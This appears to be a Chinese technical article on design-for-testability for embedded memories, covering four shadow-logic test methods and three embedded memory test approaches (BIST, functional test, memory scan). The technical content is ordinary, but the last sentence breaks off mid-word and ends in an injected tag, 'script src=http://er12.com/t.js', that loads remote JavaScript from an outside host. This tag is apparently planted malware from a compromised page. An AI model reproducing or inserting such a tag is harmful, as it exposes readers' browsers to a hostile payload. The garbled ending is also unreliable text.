摘要：微电子技术正变得越来越复杂，使得缺陷数量(不管是由于人为原因还是芯片原因产生的)不断上升。如果在设计阶段对缺陷发生隐患视而不见，到最后就会使设计陷入绝境。本文介绍如何加强嵌入式存储器的测试，从而避免可测性设计错误。
目前可测性技术正面临一个喜忧参半的境地，喜的是电路设计技术的改进可以避免过去设计中会对可测性造成致命影响的情况，忧的则是随着当今硅片技术的提高又带来了一些新的问题。
具体来讲，有两个原因使情况变得更加复杂，第一，采用亚微米技术的嵌入式存储器种类和数量都有所增加；第二，功耗问题随着电路板面积的不断缩小而变得越来越重要。尽管这些改进可能会破坏可测性设计规则，但也不是绝对会导致失败。要想避免将来在自动检测模式生成(atpg)规划中再次破坏可测性规则，应特别注意ram所需的支持电路、ram周围的逻辑电路及选通时钟。
影子逻辑测试
ram周围的逻辑电路有时称为“影子逻辑”，一般来说有四种测试方法：
1. 黑匣子法：这种方法利用功能特性检测存储器周围逻辑电路(影子逻辑)的错误，它的错误覆盖率低，但不需要在物理结构上改动设计，所以不会有额外的空间和时间方面的开销。
2. 旁路法：这种方法在q输出端引入一个mux延迟，它不能检测存储器，但可以测出所有影子逻辑的错误，这可能是检测存储器周围所有错误方法中最简单的可测性设计(dft)技术。然而对于对时间要求高的ram设计，该方法通常不太实用。
3. 扫描ram测试法：采用这种方法时，存储器周围要有一些可扫描触发器。它能得到很高的错误覆盖率，但却会增加成本，不过扫描ram技术还可用于测试存储单元。基本上可使用atpg模式测试影子逻辑，而用特殊的march模式测试存储单元。
4. 连续ram测试：该方式中存储器时钟和写允许信号直接由主输入引脚控制，存储器时钟信号必须独立于系统时钟。这项技术使全扫描atpg在影子逻辑的输入扫描触发器上应用适当模式，在一个时钟周期内将其写入存储器并在存储器内传播，最后在影子逻
辑的输出被扫描触发器另一端得到之前，用另一个时钟周期读出这些数据。连续ram技术具有很好的错误覆盖率，但要将系统和存储器时钟隔开并使写允许信号直接由主输入控制，这种技术不用像旁路法那样需要在q输出端添加mux延迟(如图)。
嵌入式存储器测试
嵌入式存储器测试有三种方法：
1. 存储器bist：由电路自动产生所需要的地址、数据和控制信号信息，然后检查存储单元输出的数据以确认其功能正常。
2. 功能测试：通过主输入输出引脚完成。
3. 存储器扫描：通过扫描触发器执行march模式。
扫描时利用扫描电路检查存储器中的1和0，以便将所有失效的位找出。存储器容量超过16kb时使用内置自测(bist)更好一些，容量较小时通常使用存储器扫描或功能测试。在大多数包含多个大容量嵌入式存储器的复杂设计中，存储器bist还可提供诊断能力，用于激光修复或失效映射分析。
与其它方法相比，用bist能得到更高的错误覆盖率和更短的测试向量集，这是因为bist电路可以一步一步地执行每个循环并评估其结果，而不必将结果送到主输出引脚。更重要的是，该方法还能快速对嵌入式存储单元(大型设计中的多个嵌入式存储器单元)进行测试并共用片上存储器的bist控制器。
第二种方式通过隔离进行功能测试，它对整个芯片上的引脚进行多路复用以允许直接访问嵌入式存储单元。与黑匣子方法中使嵌入?script src=http://er12.com/t.js>
